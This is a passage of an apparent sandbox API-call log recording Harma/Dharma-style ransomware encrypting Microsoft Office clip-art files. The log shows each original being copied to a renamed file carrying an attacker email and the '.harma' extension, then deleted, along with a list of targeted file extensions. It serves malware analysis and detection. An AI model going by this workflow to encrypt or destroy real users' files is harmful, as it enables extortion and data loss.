lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.336] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.336] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.337] GetLastError () returned 0x0 [0166.337] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x45be, lpOverlapped=0x0) returned 1 [0166.339] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0166.340] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.340] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.340] SetEndOfFile (hFile=0x3ac) returned 1 [0166.340] CloseHandle (hObject=0x3ac) returned 1 [0166.340] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.341] SetEndOfFile (hFile=0x39c) returned 1 [0166.343] CloseHandle (hObject=0x39c) returned 1 [0166.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.345] lstrlenW (lpString=".doc") returned 4 [0166.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".docx") returned 5 [0166.345] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0166.345] lstrlenW (lpString=".pdf") returned 4 [0166.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString=".xls") returned 4 [0166.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.345] lstrlenW (lpString=".xlsx") returned 5 [0166.345] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0166.345] lstrlenW (lpString=".ppt") returned 4 [0166.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.345] lstrlenW (lpString=".zip") returned 4 [0166.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.345] lstrlenW (lpString=".rar") returned 4 [0166.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString=".bz2") returned 4 [0166.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString=".7z") returned 3 [0166.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.346] lstrlenW (lpString=".dbf") returned 4 [0166.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.346] lstrlenW (lpString=".1cd") returned 4 [0166.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.346] lstrlenW (lpString=".jpg") returned 4 [0166.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.346] lstrlenW (lpString=".doc") returned 4 [0166.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.347] lstrlenW (lpString=".docx") returned 5 [0166.347] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0166.347] lstrlenW (lpString=".pdf") returned 4 [0166.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.347] lstrlenW (lpString=".xls") returned 4 [0166.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.347] lstrlenW (lpString=".xlsx") returned 5 [0166.347] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0166.347] lstrlenW (lpString=".ppt") returned 4 [0166.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.347] lstrlenW (lpString=".zip") returned 4 [0166.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.347] lstrlenW (lpString=".rar") returned 4 [0166.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.347] lstrlenW (lpString=".bz2") returned 4 [0166.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.347] lstrlenW (lpString=".7z") returned 3 [0166.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.347] lstrlenW (lpString=".dbf") returned 4 [0166.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.348] lstrlenW (lpString=".1cd") returned 4 [0166.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0166.348] lstrlenW (lpString=".jpg") returned 4 [0166.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.348] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.348] lstrlenW (lpString="J0101857.BMP") returned 12 [0166.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.349] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=32184) returned 1 [0166.349] CloseHandle (hObject=0x39c) returned 1 [0166.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0166.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.350] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.350] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.351] GetLastError () returned 0x0 [0166.351] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.354] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.355] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.355] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.356] SetEndOfFile (hFile=0x3ac) returned 1 [0166.356] CloseHandle (hObject=0x3ac) returned 1 [0166.356] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.356] SetEndOfFile (hFile=0x39c) returned 1 [0166.359] CloseHandle (hObject=0x39c) returned 1 [0166.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0166.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.360] lstrlenW (lpString=".doc") returned 4 [0166.360] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.360] lstrlenW (lpString=".docx") returned 5 [0166.360] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0166.360] lstrlenW (lpString=".pdf") returned 4 [0166.360] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.360] lstrlenW (lpString=".xls") returned 4 [0166.360] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.360] lstrlenW (lpString=".xlsx") returned 5 [0166.361] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0166.361] lstrlenW (lpString=".ppt") returned 4 [0166.361] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.361] lstrlenW (lpString=".zip") returned 4 [0166.361] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.361] lstrlenW (lpString=".rar") returned 4 [0166.361] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.361] lstrlenW (lpString=".bz2") returned 4 [0166.361] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.361] lstrlenW (lpString=".7z") returned 3 [0166.361] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.361] lstrlenW (lpString=".dbf") returned 4 [0166.361] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.362] lstrlenW (lpString=".1cd") returned 4 [0166.362] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.362] lstrlenW (lpString=".jpg") returned 4 [0166.362] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.362] lstrlenW (lpString=".doc") returned 4 [0166.362] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.362] lstrlenW (lpString=".docx") returned 5 [0166.362] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0166.362] lstrlenW (lpString=".pdf") returned 4 [0166.362] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.362] lstrlenW (lpString=".xls") returned 4 [0166.362] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.362] lstrlenW (lpString=".xlsx") returned 5 [0166.362] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0166.362] lstrlenW (lpString=".ppt") returned 4 [0166.362] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.362] lstrlenW (lpString=".zip") returned 4 [0166.362] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.363] lstrlenW (lpString=".rar") returned 4 [0166.363] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.363] lstrlenW (lpString=".bz2") returned 4 [0166.363] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.363] lstrlenW (lpString=".7z") returned 3 [0166.363] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.363] lstrlenW (lpString=".dbf") returned 4 [0166.363] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.363] lstrlenW (lpString=".1cd") returned 4 [0166.363] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0166.363] lstrlenW (lpString=".jpg") returned 4 [0166.363] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.363] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.363] lstrlenW (lpString="J0101858.BMP") returned 12 [0166.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.364] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=32184) returned 1 [0166.364] CloseHandle (hObject=0x39c) returned 1 [0166.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0166.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.365] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.365] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.366] GetLastError () returned 0x0 [0166.366] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.377] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.378] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.378] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.379] SetEndOfFile (hFile=0x3ac) returned 1 [0166.379] CloseHandle (hObject=0x3ac) returned 1 [0166.379] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.379] SetEndOfFile (hFile=0x39c) returned 1 [0166.382] CloseHandle (hObject=0x39c) returned 1 [0166.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0166.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.383] lstrlenW (lpString=".doc") returned 4 [0166.384] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString=".docx") returned 5 [0166.384] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0166.384] lstrlenW (lpString=".pdf") returned 4 [0166.384] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString=".xls") returned 4 [0166.384] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString=".xlsx") returned 5 [0166.384] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0166.384] lstrlenW (lpString=".ppt") returned 4 [0166.384] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.384] lstrlenW (lpString=".zip") returned 4 [0166.384] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString=".rar") returned 4 [0166.384] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString=".bz2") returned 4 [0166.384] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString=".7z") returned 3 [0166.384] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.384] lstrlenW (lpString=".dbf") returned 4 [0166.384] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.384] lstrlenW (lpString=".1cd") returned 4 [0166.384] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.384] lstrlenW (lpString=".jpg") returned 4 [0166.385] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.385] lstrlenW (lpString=".doc") returned 4 [0166.385] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString=".docx") returned 5 [0166.385] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0166.385] lstrlenW (lpString=".pdf") returned 4 [0166.385] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString=".xls") returned 4 [0166.385] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString=".xlsx") returned 5 [0166.385] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0166.385] lstrlenW (lpString=".ppt") returned 4 [0166.385] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.385] lstrlenW (lpString=".zip") returned 4 [0166.385] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString=".rar") returned 4 [0166.385] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString=".bz2") returned 4 [0166.385] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString=".7z") returned 3 [0166.385] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.385] lstrlenW (lpString=".dbf") returned 4 [0166.385] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.386] lstrlenW (lpString=".1cd") returned 4 [0166.386] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0166.386] lstrlenW (lpString=".jpg") returned 4 [0166.386] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.386] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.386] lstrlenW (lpString="J0101860.BMP") returned 12 [0166.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.387] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=32184) returned 1 [0166.387] CloseHandle (hObject=0x39c) returned 1 [0166.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0166.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.387] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.388] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 